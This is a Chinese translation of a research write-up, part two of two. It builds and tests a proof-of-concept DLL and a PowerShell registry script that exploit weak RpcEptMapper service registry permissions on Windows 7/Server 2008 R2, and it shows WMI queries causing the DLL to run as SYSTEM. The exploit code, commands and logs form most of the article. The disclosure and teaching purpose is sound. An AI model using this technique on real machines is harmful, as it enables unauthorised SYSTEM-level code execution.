深入分析Windows RpcEptMapper服务注册表权限所致本地提权漏洞(下) – 作者:I12016

在本文的上篇中,我们为读者详细介绍了Windows系统中因RpcEptMapper服务不安全的注册表权限所致本地提权漏洞的发现过程,在本文中,我们将为读者详细介绍如何编写和测试相应的PoC代码。

(接上文)

编写PoC代码

借助于从文档中收集到的代码片段,编写一个简单的概念验证DLL应该是不算难事。但是,我们还是需要一个计划!

当我需要利用某种DLL劫持漏洞时,我通常会从一个简单的自定义日志辅助函数开始下手。这个函数的目的是每当它被调用时,就把一些关键信息写入一个文件中。通常情况下,我会记录当前进程和父进程的PID,运行该进程的用户名称和相应的命令行。此外,我还会记录触发这个日志事件的函数的名称。这样,我就知道代码中的哪一部分被执行了。

在我撰写的其他文章中,我总是跳过代码开发部分,因为我认为该任务相对来说还是比较简单的。同时,我也希望自己文章对初学者更友好一些,而前面的做法是有悖于后者的愿望的。所以,我将在这里通过详细介绍漏洞利用代码的开发过程来补救这种情况。那么,让我们启动Visual Studio,创建一个新的“C++ Console App”项目。实际上,我最初创建的是一个“Dynamic-Link Library (DLL)”项目,但后来发现,如果直接从一个控制台应用程序下手的话,事情会更容易一些。

下面是Visual Studio生成的初始代码:

#include <iostream>

int main()

{

std::cout << “Hello World!\n”;

}

当然,那不是我们想要的。我们要创建一个DLL,而不是EXE,因此,我们必须用DllMain替换main函数。您可以在下面的文档中找到该函数的框架代码:“Initialize a DLL”。

#include <Windows.h>

extern “C” BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)

{

switch (reason)

{

case DLL_PROCESS_ATTACH:

Log(L”DllMain”); // See log helper function below

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

同时,我们还需要修改项目的相关设置,指定输出的编译文件应该是DLL,而不是EXE。为此,我们可以打开项目属性,在“General”部分,将“Configuration Type”设置为“Dynamic Library (.dll)”。在标题栏的正下方,我们还可以选中“All Configurations”和“All Platforms”,这样的话,这个设置就可以全局应用了。

接下来,添加我们的自定义日志辅助函数:

#include <Lmcons.h> // UNLEN + GetUserName

#include <tlhelp32.h> // CreateToolhelp32Snapshot()

#include <strsafe.h>

void Log(LPCWSTR pwszCallingFrom)

{

LPWSTR pwszBuffer, pwszCommandLine;

WCHAR wszUsername[UNLEN + 1] = { 0 };

SYSTEMTIME st = { 0 };

HANDLE hToolhelpSnapshot;

PROCESSENTRY32 stProcessEntry = { 0 };

DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;

BOOL bResult = FALSE;

// Get the command line of the current process

pwszCommandLine = GetCommandLine();

// Get the name of the process owner

GetUserName(wszUsername, &dwPcbBuffer);

// Get the PID of the current process

dwProcessId = GetCurrentProcessId();

// Get the PID of the parent process

hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

stProcessEntry.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {

do {

if (stProcessEntry.th32ProcessID == dwProcessId) {

dwParentProcessId = stProcessEntry.th32ParentProcessID;

break;

}

} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));

}

CloseHandle(hToolhelpSnapshot);

// Get the current date and time

GetLocalTime(&st);

// Prepare the output string and log the result

dwBufSize = 4096 * sizeof(WCHAR);

pwszBuffer = (LPWSTR)malloc(dwBufSize);

if (pwszBuffer)

{

StringCchPrintf(pwszBuffer, dwBufSize, L”[%.2u:%.2u:%.2u] – PID=%d – PPID=%d – USER=’%s’ – CMD=’%s’ – METHOD=’%s’\r\n”,

st.wHour,

st.wMinute,

st.wSecond,

dwProcessId,

dwParentProcessId,

wszUsername,

pwszCommandLine,

pwszCallingFrom

);

LogToFile(L”C:\\LOGS\\RpcEptMapperPoc.log”, pwszBuffer);

free(pwszBuffer);

}

}

然后,我们可以用文档中的三个函数来填充DLL。该文档还指出,如果成功的话,它们应该返回ERROR_SUCCESS。

DWORD APIENTRY OpenPerfData(LPWSTR pContext)

{

Log(L”OpenPerfData”);

return ERROR_SUCCESS;

}

DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)

{

Log(L”CollectPerfData”);

return ERROR_SUCCESS;

}

DWORD APIENTRY ClosePerfData()

{

Log(L”ClosePerfData”);

return ERROR_SUCCESS;

}

好了,现在该项目已经配置好了,DllMain函数也写好了,同时,我们还创建了一个日志辅助函数和三个必要的函数。不过,如果我们编译这段代码,OpenPerfData、CollectPerfData和ClosePerfData将只能作为内部函数使用,所以,我们需要导出它们。实际上,导出这些函数的方式有许多种。例如,我们可以创建一个DEF文件,然后对项目进行适当的配置。然而,我更喜欢使用关键字__declspec(dllexport),因为它特别适用于这样的小型项目。这样的话,我们只需要在源代码的开头部分声明这三个函数就可以了。

extern “C” __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);

extern “C” __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);

extern “C” __declspec(dllexport) DWORD APIENTRY ClosePerfData();

对完整的代码感兴趣的读者,请访问这里。

最后,我们可以选择“Release/x64”和“Build the solution”选项。这样的话,就能得到我们的DLL文件:.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll。

测试PoC

在进行其他工作之前,我们需要通过单独测试来确保这里的payload能够正常工作。这样做的好处是,在这里只需花费很少的一点时间,就可以避免在调试阶段掉进兔子洞,从而节约很多时间。为了进行该项测试,只需使用rundll32.exe程序,并以DLL的名称和导出函数的名称作为参数传递给它即可。

C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData

图片[1]-深入分析Windows RpcEptMapper服务注册表权限所致本地提权漏洞(下) – 作者:I12016-安全小百科

很好,现在日志文件就创建好了,如果我们打开该文件,将看到两条内容。其中,第一条是在DLL被rundll32.exe加载时写入的;第二条则是在调用OpenPerfData时写入的。看起来一切正常!

[21:25:34] – PID=3040 – PPID=2964 – USER=’lab-user’ – CMD=’rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData’ – METHOD=’DllMain’

[21:25:34] – PID=3040 – PPID=2964 – USER=’lab-user’ – CMD=’rundll32  DllRpcEndpointMapperPoc.dll,OpenPerfData’ – METHOD=’OpenPerfData’

好了,现在我们可以专注于实际的漏洞了,并开始创建所需的注册表键和值。为此,我们既可以使用reg.exe / regedit.exe命令手动完成该任务,也可以通过脚本以编程的方式完成该任务。由于在最初的研究中已介绍过手动方式了,因此,下面将展示一种更利索的方法:用PowerShell脚本来完成同样的事情。此外,通过PowerShell创建注册表键和值的方法,是否像调用New-Item和New-ItemProperty一样简单呢?

图片[2]-深入分析Windows RpcEptMapper服务注册表权限所致本地提权漏洞(下) – 作者:I12016-安全小百科

我们好像不具备访问注册表所需的权限……嗯,好吧……看来事情不是我们想的那么简单。

老实说,我并没有深入考察过这个问题 但据我猜测:当我们调用New-Item时,powershell.exe实际上会尝试通过某些标志来打开父注册表键,但是我们缺乏相应的权限。

无论如何,如果内置的cmdlets无法胜任该工作,我们总是可以进入下一层,直接调用DotNet函数。事实上,注册表键也可以用PowerShell中的以下代码来创建。

[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey(“SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance”)

图片[3]-深入分析Windows RpcEptMapper服务注册表权限所致本地提权漏洞(下) – 作者:I12016-安全小百科

最后,我把所需的代码都放入下面的脚本中,以便创建适当的键和值,等待用户输入一些内容,最后,再将这些东西都清理掉。

$ServiceKey = “SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance”

Write-Host “[*] Create ‘Performance’ subkey”

[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)

Write-Host “[*] Create ‘Library’ value”

New-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Library” -Value “$($pwd)\DllRpcEndpointMapperPoc.dll” -PropertyType “String” -Force | Out-Null

Write-Host “[*] Create ‘Open’ value”

New-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Open” -Value “OpenPerfData” -PropertyType “String” -Force | Out-Null

Write-Host “[*] Create ‘Collect’ value”

New-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Collect” -Value “CollectPerfData” -PropertyType “String” -Force | Out-Null

Write-Host “[*] Create ‘Close’ value”

New-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Close” -Value “ClosePerfData” -PropertyType “String” -Force | Out-Null

Read-Host -Prompt “Press any key to continue”

Write-Host “[*] Cleanup”

Remove-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Library” -Force

Remove-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Open” -Force

Remove-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Collect” -Force

Remove-ItemProperty -Path “HKLM:$($ServiceKey)” -Name “Close” -Force

[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)

现在是最后一步:我们该如何诱骗RPC Endpoint Mapper服务加载我们的Performace DLL呢?不幸的是,我并没有将所有的尝试过程都记录下来。就本文来说,如果能强调一下研究工作有时是多么的枯燥和耗时,那将会非常有趣。无论如何,我在研究过程中发现的一件事是,我们可以使用WMI(Windows Management Instrumentation,WMI)查询Performance Counter(性能计数器),这好像并不太令人惊讶。这方面的更多信息,请访问“WMI Performance Counter Types”一文。

对于计数器类型来说,不仅以CounterType限定符的形式出现在Win32_PerfRawData类的属性中,同时以CookingType限定符的形式出现在Win32_PerfFormattedData类的属性中。

所以,我首先在PowerShell中用下面的命令找出了与Performace Data(性能数据)相关的WMI类:

Get-WmiObject -List | Where-Object { $_.Name -Like “Win32_Perf*” }

图片[4]-深入分析Windows RpcEptMapper服务注册表权限所致本地提权漏洞(下) – 作者:I12016-安全小百科

这时我们发现,日志文件几乎马上就创建好了! 下面是文件的内容:

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’DllMain’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’OpenPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

[21:17:49] – PID=4904 – PPID=664 – USER=’SYSTEM’ – CMD=’C:\Windows\system32\wbem\wmiprvse.exe’ – METHOD=’CollectPerfData’

我本以为在RpcEptMapper服务的上下文中,最多只能以NETWORK SERVICE的身份执行任意代码,但是,看起来我得到的结果比预期的要好得多。实际上,我在WMI服务本身的上下文中实现了任意代码的执行能力,并且代码是以LOCAL SYSTEM的身份运行的。这是多么的神奇啊!

注意:如果我能够以NETWORK SERVICE的身份执行任意代码的话,则离LOCAL SYSTEM账户的身份就只有一个令牌之遥了,这主要归功于几个月前James Forshaw在下面的文章中所演示的技巧:“Sharing a Logon Session a Little Too Much”。

我对下面的每个WMI类都进行了试验,结果是完全一样的:

Get-WmiObject Win32_Perf

Get-WmiObject Win32_PerfRawData

Get-WmiObject Win32_PerfFormattedData

小结

我不知道为什么这个漏洞在这么长的时间内一直没有被人所发现。其中一种解释是,其他工具可能在注册表中寻找的是完整的写权限,而就本文所讨论的情形而言,其实AppendData/AddSubdirectory权限就已经足够了。关于“错误配置”本身,我认为注册表键被设置成这样是有特定目的的,尽管我想不出用户需要任何类型的权限来修改服务配置的具体场景。

我之所以决定把这个漏洞公布出来,主要有两个原因。第一个原因是,实际上我在几个月前用GetModfiableRegistryPath函数更新我的PrivescCheck脚本的那天,就已经把它公开了——虽然最初并没有意识到。第二个原因是,该漏洞的影响不是很大。因为要想利用这个漏洞,要求攻击者必须事先获得本地访问权限,并且该漏洞只影响不再受支持的旧版本Windows系统(除非您购买了Extended Support服务……)。现在,如果您还在使用Windows 7 / Server 2008 R2系统,并且没有在网络中正确隔离这些机器,那么防止攻击者获得SYSTEM权限可能是您首先需要担心的事情。

除了用于这里介绍的权限提升漏洞外,我认为这个“Perfomance”注册表设置还为后期利用、横向移动和AV/EDR规避打开了一扇窗户。我已经想到了一些特定的场景,但我还没有进行具体的测试。至于这些话题,我们今后有机会再聊。

参考资料

GitHub – PrivescCheck

https://github.com/itm4n/PrivescCheck

GitHub – PowerUp

https://github.com/HarmJ0y/PowerUp

Microsoft – “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree”

https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree

Microsoft – Creating the Application’s Performance Key

https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key

来源:freebuf.com 2020-12-03 09:53:15 by: I12016

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论